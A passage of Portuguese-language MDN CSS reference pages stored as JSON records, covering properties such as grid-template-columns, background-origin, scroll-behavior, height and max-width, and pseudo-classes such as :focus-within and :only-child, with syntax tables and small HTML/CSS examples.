20%;\ngrid-template-columns:\n  [linename1] 100px [linename2]\n  repeat(auto-fit, [linename3 linename4] 300px)\n  100px;\ngrid-template-columns:\n  [linename1 linename2] 100px\n  repeat(auto-fit, [linename1] 300px) [linename3];\n\n/\\* definições de herança \\*/\ngrid-template-columns: inherit;\ngrid-template-columns: initial;\ngrid-template-columns: unset;\n```\n\n\n|  |  |\n| --- | --- |\n| Initial value | `none` |\n| Aplica-se a | grid containers |\n| Inherited | não |\n| Percentages | refer to corresponding dimension of the content area |\n| Computed value | as specified, but with relative lengths converted into absolute lengths |\n| Animation type | simple list of length, percentage, or calc, provided the only differences are in the values of the length, percentage, or calc components in the list |\n\nSintaxe\n-------\n\n### Alternativas\n\n`none`\n\nIndica que não há uma grade explícita. Colunas serão automaticamente geradas e seu tamanho será determinado pela propriedade `grid-auto-columns` (en-US).\n\n`<length>`\n\nTamanho não negativo.\n\n`<percentage>`\n\n Is a non-negative `<percentage>` (en-US) value relative to the inline size of the grid container. If the size of the grid container depends on the size of its tracks, then the percentage must be treated as `auto`.\n The intrinsic size contributions of the track may be adjusted to the size of the grid container and increase the final size of the track by the minimum amount that would result in honoring the percentage.\n\n\n`<flex>`\n\nIs a non-negative dimension with the unit `fr` specifying the track's flex factor. Each `<flex>`-sized track takes a share of the remaining space in proportion to its flex factor.\n\nWhen appearing outside a `minmax()` notation, it implies an automatic minimum (i.e. `minmax(auto, <flex>)`).\n\n`max-content`\n\nIs a keyword representing the largest maximal content contribution of the grid items occupying the grid track.\n\n`min-content`\n\nIs a keyword representing the largest minimal content contribution of the grid items occupying the grid track.\n\n``minmax(min, max)` (en-US)`\n\nIs a functional notation that defines a size range greater than or equal to *min* and less than or equal to *max*. If *max* is smaller than *min*, then *max* is ignored and the function is treated as *min*. As a maximum, a `<flex>` value sets the track's flex factor. It is invalid as a minimum.\n\n`auto`\n\nIs a keyword that is identical to maximal content if it's a maximum. As a minimum it represents the largest minimum size (as specified by `min-width` (en-US)/`min-height`) of the grid items occupying the grid track.\n\n**Nota:**: `auto` track sizes (and only `auto` track sizes) can be stretched by the `align-content` and `justify-content` (en-US) properties.\n\n``fit-content( [ <length> | <percentage> ] )` (en-US)`\n\nRepresents the formula `min(max-content, max(auto, argument))`, which is calculated similar to `auto` (i.e. `minmax(auto, max-content)`), except that the track size is clamped at *argument* if it is greater than the `auto` minimum.\n\n`repeat( [ <positive-integer> | auto-fill | auto-fit ] , <track-list> )` (en-US)\n\nRepresents a repeated fragment of the track list, allowing a large number of columns that exhibit a recurring pattern to be written in a more compact form.\n\n### Sintaxe formal\n```\n\ngrid-template-columns =   \n  none                       | (en-US)  \n  <track-list>               | (en-US)  \n  <auto-track-list>          | (en-US)  \n  subgrid <line-name-list>? (en-US)    \n  \n<track-list> =   \n  [ (en-US) <line-names>? (en-US) [ (en-US) <track-size> | (en-US) <track-repeat> ] (en-US) ] (en-US)+ (en-US) <line-names>? (en-US)    \n  \n<auto-track-list> =   \n  [ (en-US) <line-names>? (en-US) [ (en-US) <fixed-size> | (en-US) <fixed-repeat> ] (en-US) ] (en-US)\\* (en-US) <line-names>? (en-US) <auto-repeat> [ (en-US) <line-names>? (en-US) [ (en-US) <fixed-size> | (en-US) <fixed-repeat> ] (en-US) ] (en-US)\\* (en-US) <line-names>? (en-US)    \n  \n<line-name-list> =   \n  [ (en-US) <line-names> | (en-US) <name-repeat> ] (en-US)+ (en-US)    \n  \n<line-names> =   \n  '[' <custom-ident> (en-US)\\* (en-US) ']'    \n  \n<track-size> =   \n  <track-breadth>                                   | (en-US)  \n  minmax( <inflexible-breadth> , <track-breadth> )  | (en-US)  \n  fit-content( <length-percentage [0,∞]> )            \n  \n<track-repeat> =   \n  repeat( [ (en-US) <integer [1,∞]> ] (en-US) , [ (en-US) <line-names>? (en-US) <track-size> ] (en-US)+ (en-US) <line-names>? (en-US) )    \n  \n<fixed-size> =   \n  <fixed-breadth>                                   | (en-US)  \n  minmax( <fixed-breadth> , <track-breadth> )       | (en-US)  \n  minmax( <inflexible-breadth> , <fixed-breadth> )    \n  \n<fixed-repeat> =   \n  repeat( [ (en-US) <integer [1,∞]> ] (en-US) , [ (en-US) <line-names>? (en-US) <fixed-size> ] (en-US)+ (en-US) <line-names>? (en-US) )    \n  \n<auto-repeat> =   \n  repeat( [ (en-US) auto-fill | (en-US) auto-fit ] (en-US) , [ (en-US) <line-names>? (en-US) <fixed-size> ] (en-US)+ (en-US) <line-names>? (en-US) )    \n  \n<name-repeat> =   \n  repeat( [ (en-US) <integer [1,∞]> | (en-US) auto-fill ] (en-US) , <line-names>+ (en-US) )    \n  \n<track-breadth> =   \n  <length-percentage [0,∞]>  | (en-US)  \n  <flex [0,∞]>               | (en-US)  \n  min-content                | (en-US)  \n  max-content                | (en-US)  \n  auto                         \n  \n<inflexible-breadth> =   \n  <length-percentage [0,∞]>  | (en-US)  \n  min-content                | (en-US)  \n  max-content                | (en-US)  \n  auto                         \n  \n<length-percentage> =   \n  <length> (en-US)      | (en-US)  \n  <percentage> (en-US)    \n  \n<fixed-breadth> =   \n  <length-percentage [0,∞]>    \n  \n```\n\nExemplos\n--------\n\n### CSS\n\n\n```css\n#grid {\n  display: grid;\n  width: 100%;\n  grid-template-columns: 50px 1fr;\n}\n\n#areaA {\n  background-color: lime;\n}\n\n#areaB {\n  background-color: yellow;\n}\n```\n\n### HTML\n\n\n```html\n<div id=\"grid\">\n  <div id=\"areaA\">A</div>\n  <div id=\"areaB\">B</div>\n</div>\n```\n\n### Resultado\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| CSS Grid Layout Module Level 2 # track-sizing |\n| CSS Grid Layout Module Level 2 # subgrids |\n| CSS Grid Layout Module Level 3 # masonry-layout |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nLeia Mais\n---------\n\n* Propriedades CSS relacionadas: `grid-template-rows`, `grid-template-areas` (en-US), `grid-template` (en-US)\n* Guia do *layout* em grade: *Basic concepts of grid layout - Grid Tracks*\n* Tutorial em vídeo: *Defining a Grid*\n\n1. **CSS**\n2. **Referência do CSS**\n3. CSS: Layout em grid\n4. **Guia**\n    1. Basics concepts of grid layout\n    2. Relationship to other layout methods\n    3. Line-based placement (en-US)\n    4. Grid template areas (en-US)\n    5. Layout using named grid lines (en-US)\n    6. Auto-placement in grid layout (en-US)\n    7. Box alignment in grid layout (en-US)\n    8. Grids, logical values and writing modes (en-US)\n    9. CSS Grid Layout and Accessibility (en-US)\n    10. CSS Grid Layout and Progressive Enhancement (en-US)\n    11. Realizing common layouts using grids (en-US)\n5. **Propriedades**\n    1. grid\n    2. grid-area (en-US)\n    3. grid-auto-columns (en-US)\n    4. grid-auto-flow\n    5. grid-auto-rows (en-US)\n    6. grid-column (en-US)\n    7. grid-column-end (en-US)\n    8. grid-column-gap (en-US)\n    9. grid-column-start (en-US)\n    10. grid-gap (en-US)\n    11. grid-row (en-US)\n    12. grid-row-end (en-US)\n    13. grid-row-gap (en-US)\n    14. grid-row-start (en-US)\n    15. grid-template (en-US)\n    16. grid-template-areas (en-US)\n    17. grid-template-columns\n    18. grid-template-rows\n6. **Glossário**\n    1. Grid lines (en-US)\n    2. Grid tracks (en-US)\n    3. Grid cell (en-US)\n    4. Grid areas\n    5. Gutters (en-US)\n    6. Grid row (en-US)\n    7. Grid column (en-US)"}
{"title":"background-origin - CSS","text":"background-origin\n=================\n\nA propriedade CSS **`background-origin`** define *a área de posicionamento do plano de fundo*, isto é, a ponto de origem de uma imagem específica usando a propriedade `background-image` (en-US).\n\nExperimente\n-----------\n\nNote que `background-origin` é ignorado quando `background-attachment` é `fixed`.\n\n**Nota:** A taquigrafia `background` redefine o valor desta propriedade para seu valor inicial se esta não foi específicada.\n\nSintaxe\n-------\n\n\n```css\n/\\* Valores chave \\*/\nbackground-origin: border-box;\nbackground-origin: padding-box;\nbackground-origin: content-box;\n\n/\\* Valores globais \\*/\nbackground-origin: inherit;\nbackground-origin: initial;\nbackground-origin: unset;\n```\n\n\nA propriedade `background-origin` é especificada por uma chave de valores listadas abaixo.\n\n### Valores\n\n`border-box`\n\nO plano de fundo é posicionado relativamente nas bordas do elemento.\n\n`padding-box`\n\nO plano de fundo é posicionado relativamente no espaçamento do elemento.\n\n`content-box`\n\nO plano de fundo é posicionado relativamente para o conteúdo do elemento.\n\n### Sintaxe formal\n```\n\nbackground-origin =   \n  <visual-box># (en-US)    \n  \n<visual-box> =   \n  content-box  | (en-US)  \n  padding-box  | (en-US)  \n  border-box     \n  \n```\n\nExemplos\n--------\n\n\n```css\n.exemplo {\n  border: 10px double;\n  padding: 10px;\n  background: url(\"image.jpg\");\n  background-position: center left;\n  background-origin: content-box;\n}\n```\n\n\n\n```css\n#exemplo2 {\n  border: 4px solid black;\n  padding: 10px;\n  background: url(\"image.gif\");\n  background-repeat: no-repeat;\n  background-origin: border-box;\n}\n```\n\n\n\n```css\ndiv {\n  background-image: url(\"logo.jpg\"), url(\"mainback.png\"); /\\* Applies two images to the background \\*/\n  background-position:\n    top right,\n    0px 0px;\n  background-origin: content-box, padding-box;\n}\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| CSS Backgrounds and Borders Module Level 3 # the-background-origin |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `background-clip`"}
{"title":"scroll-behavior - CSS","text":"scroll-behavior\n===============\n\nA propriedade css **`scroll-behavior`** especifica o comportamento de rolagem para uma caixa de scrolling, quando a rolagem acontece devido às APIs do CSSOM. Qualquer outro scroll, aqueles que são executados pelo usuário, não são afetados por esta propriedade. Quando esta propriedade é especificada no elemento raiz, ela se aplica à viewport.\n\nUser agents podem ignorar essa propriedade.\n\n\n```css\n/\\* Valores das palavras-chave \\*/\nscroll-behavior: auto;\nscroll-behavior: smooth;\n\n/\\* Valores globais \\*/\nscroll-behavior: inherit;\nscroll-behavior: initial;\nscroll-behavior: unset;\n```\n\n\nNote que qualquer outro scroll, tem essa tal performace para o usuario, essa propriedade não é afetada. Quando esta propriedade é especificada na raiz do elemento então aplicamos na instancia do viewport.\n\nOs usuarios que agem com está propriedade pode ignora-lá.\n\n|  |  |\n| --- | --- |\n| Initial value | `auto` |\n| Aplica-se a | scrolling boxes |\n| Inherited | não |\n| Computed value | as specified |\n| Animation type | Not animatable |\n\nSintaxe\n-------\n\nO `scroll-behavior` é uma propriedade específica, com um valor de uma palavra-chave listada abaixo.\n\n### Valores\n\n`auto`\n\nA caixa de rolagem rola instantaneamente.\n\n`smooth`\n\nA caixa de scroll rola de forma suave usando uma função de temporização definida pelo usuário em um período de tempo. Os agentes do usuário devem seguir as convenções da plataforma, se houver.\n\n### Sintaxe formal\n```\n\nscroll-behavior =   \n  auto    | (en-US)  \n  smooth    \n  \n```\n\nExemplo\n-------\n\n### HTML\n\n\n```html\n<nav>\n  <a href=\"#page-1\">1</a>\n  <a href=\"#page-2\">2</a>\n  <a href=\"#page-3\">3</a>\n</nav>\n<scroll-container>\n  <scroll-page id=\"page-1\">1</scroll-page>\n  <scroll-page id=\"page-2\">2</scroll-page>\n  <scroll-page id=\"page-3\">3</scroll-page>\n</scroll-container>\n```\n\n### CSS\n\n\n```css\na {\n  display: inline-block;\n  width: 50px;\n  text-decoration: none;\n}\nnav,\nscroll-container {\n  display: block;\n  margin: 0 auto;\n  text-align: center;\n}\nnav {\n  width: 339px;\n  padding: 5px;\n  border: 1px solid black;\n}\nscroll-container {\n  display: block;\n  width: 350px;\n  height: 200px;\n  overflow-y: scroll;\n  scroll-behavior: smooth;\n}\nscroll-page {\n  display: flex;\n  align-items: center;\n  justify-content: center;\n  height: 100%;\n  font-size: 5em;\n}\n```\n\n### Saída\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| CSS Overflow Module Level 3 # smooth-scrolling |\n\nCompatibilidade com navegador\n-----------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data."}
{"title":"height - CSS","text":"height\n======\n\nSumário\n-------\n\nA propriedade `height` do CSS determina a altura da área do conteúdo de um elemento. A área de conteúdo (en-US) consiste no `padding`, `margin` e `border` do elemento.\n\nAs propriedades `min-height` e `max-height` (en-US) sobrepõem a `height`.\n\n|  |  |\n| --- | --- |\n| Initial value | `auto` |\n| Aplica-se a | all elements but non-replaced inline elements, table columns, and column groups |\n| Inherited | não |\n| Percentages | The percentage is calculated with respect to the height of the generated box's containing block. If the height of the containing block is not specified explicitly (i.e., it depends on content height), and this element is not absolutely positioned, the value computes to `auto`. A percentage height on the root element is relative to the initial containing block. |\n| Computed value | a percentage or `auto` or the absolute length |\n| Animation type | a length, percentage or calc(); |\n\nSintaxe\n-------\n```\n\nSintaxe formal: [<length> | <percentage>] && [border-box | content-box]? | available | min-content | max-content | fit-content | complex | auto\n```\n\n\n```\nheight: auto     /* auto keyword */\n\nheight: 120px    /* <length> values */\nheight: 10em\n\nheight: 75%      /* <percentage> values */\n\nheight: inherit\n```\n\n### Valores\n\n`<length>`\n\nVeja `<length>` (en-US) para unidades disponíveis.\n\n`<percentage>`\n\nEspecificada como uma `<percentage>` (en-US) da altura do conteúdo do bloco.\n\n`border-box` \nExperimental\n\nSe presente, o último `<length>` (en-US) ou `<percentage>` (en-US) é aplicado a caixa de borda do elemento.\n\n`content-box` \nExperimental\n\nSe presente, o último `<length>` (en-US) ou `<percentage>` (en-US) é aplicado a caixa de conteúdo do elemento.\n\n`auto`\n\nO navegador calculará a altura do conteúdo especificado.\n\n`max-content` \nExperimental\n\nA altura máxima intrínseca.\n\n`min-content` \nExperimental\n\nA altura mínima intrínseca.\n\n`available` \nExperimental\n\nAltura da caixa menos margem vertical, borda e padding.\n\n`fit-content` \nExperimental\n\nO maior de:\n\n* a altura mínima intrínseca\n* a menor entre a altura intrínseca preferida e a altura disponível\n\nExemplos\n--------\n\n### HTML\n\n\n```html\n<div id=\"red\">\n  <span>I'm 50 pixels tall.</span>\n</div>\n<div id=\"green\">\n  <span>I'm 25 pixels tall.</span>\n</div>\n<div id=\"parent\">\n  <div id=\"child\">\n    <span>I'm half the height of my parent.</span>\n  </div>\n</div>\n```\n\n### CSS\n\n\n```css\ndiv {\n  width: 250px;\n  margin-bottom: 5px;\n  border: 3px solid #999999;\n}\n\n#red {\n  height: 50px;\n}\n\n#green {\n  height: 25px;\n}\n\n#parent {\n  height: 100px;\n}\n\n#child {\n  height: 50%;\n  width: 75%;\n}\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| CSS Box Sizing Module Level 3 # preferred-size-properties |\n| CSS Box Sizing Module Level 4 # sizing-values |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* box model (en-US), `width`, `box-sizing`, `min-height`, `max-height` (en-US)"}
{"title":"-moz-box-ordinal-group - CSS","text":"-moz-box-ordinal-group\n======================\n\n**Aviso:** Essa propriedade é parte do projeto do módulo original do CSS Flexible Box Layout, e foi substituído em projetos recentes.\n\nVeja Flexbox (en-US) para mais informações do que você deveria usar ao invés dessa propriedade.\n\nSumário\n-------\n\nIndica o grupo ordinal ao qual o elemento percente. Elementos com um grupo ordinal menor são mostrados antes daqueles com grupo ordinal maior.\n\nValores\n-------\n\nOs valores devem ser inteiros maiores que zero. O valor padrão para essa propriedade é 1.\n\nExemplos\n--------\n\n\n```css\n#Flexbox {\n  display: -ms-box;\n  display: -moz-box;\n  display: -webkit-box;\n}\n\n#text1 {\n  background: red;\n  -ms-box-ordinal-group: 4;\n  -moz-box-ordinal-group: 4;\n  -webkit-box-ordinal-group: 4;\n}\n\n#text2 {\n  background: green;\n  -ms-box-ordinal-group: 3;\n  -moz-box-ordinal-group: 3;\n  -webkit-box-ordinal-group: 3;\n}\n\n#text3 {\n  background: blue;\n  -ms-box-ordinal-group: 2;\n  -moz-box-ordinal-group: 2;\n  -webkit-box-ordinal-group: 2;\n}\n\n#text4 {\n  background: orange;\n}\n```\n\n\n\n```html\n<div id=\"Flexbox\">\n  <div id=\"text1\">text 1</div>\n  <div id=\"text2\">text 2</div>\n  <div id=\"text3\">text 3</div>\n  <div id=\"text4\">text 4</div>\n</div>\n```"}
{"title":"::first-line (:first-line) - CSS","text":"::first-line (:first-line)\n==========================\n\nO pseudoelemento **`::first-line`** aplica estilos à primeira linha de um elemento no nível do bloco. Observe que o comprimento da primeira linha depende de muitos fatores, incluindo a largura do elemento, a largura do documento e o tamanho da fonte do texto.\n\n\n```css\n/\\* Seleciona a primeira linha dentro da tag <p> \\*/\np::first-line {\n  color: red;\n}\n```\n\n\n**Nota:** O CSS3 introduziu a notação `::first-line`(com dois pontos) para distinguir pseudo-classes de pseudo-elementos. Os navegadores também aceitam `:first-line` introduzida no CSS2.\n\nPropriedades permitidas\n-----------------------\n\nSomente um pequeno subconjunto de propriedades CSS pode ser usado com o`::first-line` pseudo-elemento:\n\n* Todas as propriedades relacionadas à fonte: `font` (en-US), `font-kerning`, `font-style` (en-US), `font-variant` (en-US), `font-variant-numeric` (en-US), `font-variant-position` (en-US), `font-variant-east-asian` (en-US), `font-variant-caps` (en-US), `font-variant-alternates` (en-US), `font-variant-ligatures` (en-US), `font-synthesis` (en-US), `font-feature-settings`, `font-language-override` (en-US), `font-weight`, `font-size`, `font-size-adjust` (en-US), `font-stretch` (en-US), e `font-family`\n* Todas as propriedades relacionadas ao background: `background-color`, `background-clip`, `background-image` (en-US), `background-origin`, `background-position` (en-US), `background-repeat` (en-US), `background-size`, `background-attachment`, e `background-blend-mode`\n* A propriedade `color`\n* `word-spacing` (en-US), `letter-spacing`, `text-decoration`, `text-transform`, e `line-height` (en-US)\n* `text-shadow`, `text-decoration`, `text-decoration-color` (en-US), `text-decoration-line` (en-US), `text-decoration-style`, e `vertical-align`.\nSintaxe\n-------\n\nError: could not find syntax for this itemExemplos\n--------\n\n### HTML\n\n\n```html\n<p>\n  Os estilos serão aplicados apenas à primeira linha deste parágrafo. Depois\n  disso, todo o texto será estilizado normalmente. Entendeu o que eu quis dizer?\n</p>\n\n<span\n >A primeira linha deste texto não receberá um estilo especial porque não é um\n  elemento no nível do bloco.</span\n>\n```\n\n### CSS\n\n\n```css\n::first-line {\n  color: blue;\n  text-transform: uppercase;\n\n  /\\* AVISO: NÃO UTILIZE: \\*/\n  /\\* Muitas propriedades são inválidas em pseudo-elementos ::first-line \\*/\n  margin-left: 20px;\n  text-indent: 20px;\n}\n```\n\n### Resultado\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| CSS Pseudo-Elements Module Level 4 # first-line-pseudo |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `::first-letter`"}
{"title":":focus-within - CSS","text":":focus-within\n=============\n\nA pseudo-classe CSS **`:focus-within`** representa um elemento que recebeu o foco ou contém um elemento que recebeu o foco. Em outras palavras, isto representa um elemento que é correspondido por si só pela pseudo-classe `:focus` ou tem um descendente que é correspondido por `:focus`. (Isto inclui descendentes em shadow trees (en-US).)\n\n\n```css\n/\\* Seleciona uma <div> quando um de seus descendentes é focado \\*/\ndiv:focus-within {\n  background: cyan;\n}\n```\n\n\nEste seletor é útil, pegando um exemplo comum, para destacar um todo `<form>` (en-US) container quando o usuário focar em um de seus campos `<input>`.\n\nSintaxe\n-------\n\nError: could not find syntax for this itemExemplo\n-------\n\nNeste exemplo, o formulário receberá estilos de coloração especiais quando o input de texto recebe o foco\n\n### HTML\n\n\n```html\n<p>Tente digitar neste formulário.</p>\n\n<form>\n  <label for=\"given\\_name\">Given Name:</label>\n  <input id=\"given\\_name\" type=\"text\" />\n  <br />\n  <label for=\"family\\_name\">Family Name:</label>\n  <input id=\"family\\_name\" type=\"text\" />\n</form>\n```\n\n### CSS\n\n\n```css\nform {\n  border: 1px solid;\n  color: gray;\n  padding: 4px;\n}\n\nform:focus-within {\n  background: #ff8;\n  color: black;\n}\n\ninput {\n  margin: 4px;\n}\n```\n\n### Resultado\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| Selectors Level 4 # the-focus-within-pseudo |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `:focus`"}
{"title":":only-child - CSS","text":":only-child\n===========\n\nA pseudo-classe (en-US) de CSS **`:only-child`** representa um elemento sem nenhum elemento-irmão. É o mesmo que `:first-child:last-child` ou `:nth-child(1):nth-last-child(1)`, mas com uma especificidade mais baixa.\n\n\n```css\n/\\* Seleciona cada <p>, mas apenas se for o \\*/\n/\\* único filho de seu elemento-pai \\*/\np:only-child {\n  background-color: lime;\n}\n```\n\n\n**Nota:** Originalmente, foi definido que o elemento selecionado deveria ter um elemento-pai. A partir de Selectors Level 4, isso não é mais necessário.\n\nSintaxe\n-------\n\nError: could not find syntax for this itemExemplos\n--------\n\n### Exemplo básico\n\n#### HTML\n\n\n```html\n<main>\n  <div>\n    <i>Eu sou um filho único solitário.</i>\n  </div>\n\n  <div>\n    <i>Eu tenho irmãos.</i><br />\n    <b>Eu também!</b><br />\n    <span>Eu também tenho irmãos, <span>mas este é um filho único.</span></span>\n  </div>\n</main>\n```\n\n\n#### CSS\n\n\n```css\nmain :only-child {\n  color: red;\n}\n```\n\n\n#### Resultado\n\n### Exemplo de lista\n\n#### HTML\n\n\n```html\n<ol>\n  <li>\n    Primeiro\n    <ul>\n      <li>Essa lista tem apenas um elemento.</li>\n    </ul>\n  </li>\n  <li>\n    Segundo\n    <ul>\n      <li>Essa lista tem três elementos.</li>\n      <li>Essa lista tem três elementos.</li>\n      <li>Essa lista tem três elementos.</li>\n    </ul>\n  </li>\n</ol>\n```\n\n\n#### CSS\n\n\n```css\nli li {\n  list-style-type: disc;\n}\nli:only-child {\n  color: red;\n  list-style-type: square;\n}\n```\n\n\n#### Resultado\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| Selectors Level 4 # only-child-pseudo |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVer também\n----------\n\n* `:only-of-type`\n* `:first-child`\n* `:last-child`\n* `:nth-child`"}
{"title":"max-width - CSS","text":"max-width\n=========\n\nA propriedade **`max-width`** do CSS estabelece a largura máxima de um elemento. Ele evita que o valor usado da propriedade `width` se torne maior que o valor especificado por `max-width`.\n\nExperimente\n-----------\n\n`max-width` substitui `width`, mas `min-width` (en-US) substitui `max-width`.\n\nSintaxe\n-------\n\n\n```css\n/\\* <length> valor \\*/\nmax-width: 3.5em;\n\n/\\* <porcentagem> valor \\*/\nmax-width: 75%;\n\n/\\* Valores de keyword \\*/\nmax-width: none;\nmax-width: max-content;\nmax-width: min-content;\nmax-width: fit-content(20em);\n\n/\\* Valores Globais \\*/\nmax-width: inherit;\nmax-width: initial;\nmax-width: revert;\nmax-width: revert-layer;\nmax-width: unset;\n```\n\n### Valores\n\n`<length>` (en-US)\n\nDefine a `max-width` como um valor absoluto.\n\n`<percentage>` (en-US)\n\nDefine a `max-width` como uma porcentagem da largura do bloco que o contém.\n\n`none`\n\nA largura não possui valor máximo. (padrão)\n\n`max-content` \nExperimental\n\nA `max-width` intrínseca preferida.\n\n`min-content` \nExperimental\n\nO mínimo `max-width` intrínseco.\n\n`fit-content(`<length-percentage>` (en-US))`\n\nUse a fórmula `fit-content` com o espaço disponível substituído pelo argumento especificado, i.e. `min(max-content, max(min-content, argumento)).`\n\nPreocupações de Acessibilidade\n------------------------------\n\nCertifique-se que os elementos definidos com `max-width` não sejam truncados e/ou não obscureçam outros conteúdos quando a página for ampliada para aumentar o tamanho do texto.\n\n* MDN Understanding WCAG, explicações da Diretriz 1.4 (en-US)\n* Compreender o Critério de Sucesso 1.4.4 | W3C Entendendo as WCAG 2.0\nDefinição formal\n----------------\n\n|  |  |\n| --- | --- |\n| Initial value | `none` |\n| Aplica-se a | all elements but non-replaced inline elements, table rows, and row groups |\n| Inherited | não |\n| Percentages | refer to the width of the containing block |\n| Computed value | the percentage as specified or the absolute length or `none` |\n| Animation type | a length, percentage or calc(); |\n\nSintaxe formal\n--------------\n```\n\nmax-width =   \n  none                                      | (en-US)  \n  <length-percentage [0,∞]>                 | (en-US)  \n  min-content                               | (en-US)  \n  max-content                               | (en-US)  \n  fit-content( <length-percentage [0,∞]> )    \n  \n<length-percentage> =   \n  <length> (en-US)      | (en-US)  \n  <percentage> (en-US)    \n  \n```\n\nExemplos\n--------\n\n### Definindo a largura máxima em pixels\n\nNeste exemplo, o \"child\" terá 150 pixels de largura ou a largura do \"parent\", o que for menor:\n\n#### HTML\n\n\n```html\n<div id=\"parent\">\n  <div id=\"child\">\n    Fusce pulvinar vestibulum eros, sed luctus ex lobortis quis.\n  </div>\n</div>\n```\n\n\n#### CSS\n\n\n```css\n#parent {\n  background: lightblue;\n  width: 300px;\n}\n\n#child {\n  background: gold;\n  width: 100%;\n  max-width: 150px;\n}\n```\n\n\n#### Resultado\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| CSS Box Sizing Module Level 4 # width-height-keywords |\n| CSS Box Sizing Module Level 4 # sizing-values |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* O box model, `box-sizing`\n* `width`, `min-width` (en-US)\n* The mapped logical properties: `max-inline-size` (en-US), `max-block-size` (en-US)"}
{"title":":first-child - CSS","text":":first-child\n============\n\nSumário\n-------\n\nA pseudo-classe de CSS **`:first-child`** representa qualquer elemento que seja o primeiro filho de seus pais.\n\nSintaxe\n-------\n```\n\nelemento:first-child { estilos }\n```\n\nExemplos\n--------\n\n### Exemplo 1\n\n#### HTML\n\n\n```html\n<div>\n  <span>Este span é verde limão!</span>\n  <span>Este span não é verde limão. :(</span>\n</div>\n```\n\n\n#### CSS\n\n\n```css\nspan:first-child {\n  background-color: lime;\n}\n```\n\n\n... resultado ...\n\n### Exemplo 2 - Usando UL\n\n#### HTML\n\n\n```html\n<ul>\n  <li>Elemento de Lista 1</li>\n  <li>Elemento de Lista 2</li>\n  <li>Elemento de Lista 3</li>\n</ul>\n```\n\n\n#### CSS\n\n\n```css\nli {\n  color: red;\n}\nli:first-child {\n  color: green;\n}\n```\n\n\n... resultado ...\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| Selectors Level 4 # first-child-pseudo |\n\nBrowsers compatíveis\n--------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data."}
{"title":":link - CSS","text":":link\n=====\n\nResumo\n------\n\nA pseudo-class CSS :link permite que você selecione os links dentro de um elemento. Ela seleciona todos os links, até mesmo os que não foram visitados, incluindo os links ja estilizados em outras classes ou ids com o `:hover`, `:active` ou `:visited`. Para um funcionamento adequado é essencial que ela venha antes das regras: `:visited` — `:hover` — `:active`. O `:focus` é uma pseudo-class geralmente usada antes de a:hover ou depois, dependendo do resultado esperado.\n\nExemplos\n--------\n\n\n```css\na:link {\n  color: slategray;\n}\n.external:link {\n  background-color: lightblue;\n}\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| HTML Standard # selector-link |\n| Selectors Level 4 # link |\n\nCompatibilidade do navegador\n----------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `:visited`, `:hover`, `:active`"}
{"title":"background - CSS","text":"background\n==========\n\nResumo\n------\n\nA propriedade CSS **`background`** é um atalho para definir os valores de fundo individuais em um único lugar na folha de estilo. Background pode ser usado para definir os valores para um ou mais dos seguintes: `background-clip`, `background-color`, `background-image` (en-US), `background-origin`, `background-position` (en-US) , `background-repeat` (en-US), `background-size` e `background-attachment`.\n\nO `fundo` CSS propriedade estenográfica atribui valores dados explícitos e conjuntos de propriedades para seus valores iniciais em falta.\n\n|  |  |\n| --- | --- |\n| Initial value | as each of the properties of the shorthand:* `background-image` (en-US): `none`\n* `background-position` (en-US): `0% 0%`\n* `background-size`: `auto auto`\n* `background-repeat` (en-US): `repeat`\n* `background-origin`: `padding-box`\n* `background-clip`: `border-box`\n* `background-attachment`: `scroll`\n* `background-color`: `transparent`\n |\n| Aplica-se a | all elements. It also applies to `::first-letter` and `::first-line`. |\n| Inherited | não |\n| Percentages | as each of the properties of the shorthand:* `background-position` (en-US): refer to the size of the background positioning area minus size of background image; size refers to the width for horizontal offsets and to the height for vertical offsets\n* `background-size`: relative to the background positioning area\n |\n| Computed value | as each of the properties of the shorthand:* `background-image` (en-US): as specified, but with `url` (en-US) values made absolute\n* `background-position` (en-US): as each of the properties of the shorthand:\n    + `background-position-x` (en-US): A list, each item consisting of: an offset given as a combination of an absolute length and a percentage, plus an origin keyword\n    + `background-position-y` (en-US): A list, each item consisting of: an offset given as a combination of an absolute length and a percentage, plus an origin keyword\n* `background-size`: as specified, but with relative lengths converted into absolute lengths\n* `background-repeat` (en-US): a list, each item consisting of two keywords, one per dimension\n* `background-origin`: as specified\n* `background-clip`: as specified\n* `background-attachment`: as specified\n* `background-color`: computed color\n |\n| Animation type | as each of the properties of the shorthand:* `background-color`: a color\n* `background-image` (en-US): discrete\n* `background-clip`: a repeatable list\n* `background-position` (en-US): a repeatable list\n* `background-size`: a repeatable list\n* `background-repeat` (en-US): discrete\n* `background-attachment`: discrete\n |\n\nSintaxe\n-------\n\n\n```css\n/ * Usando uma <cor-de-fundo> * /\nbackground: green;\n\n/ * Usando uma <imagem-de-fundo> e <estilo-de-repetição> * /\nbackground: url(\"test.jpg\") 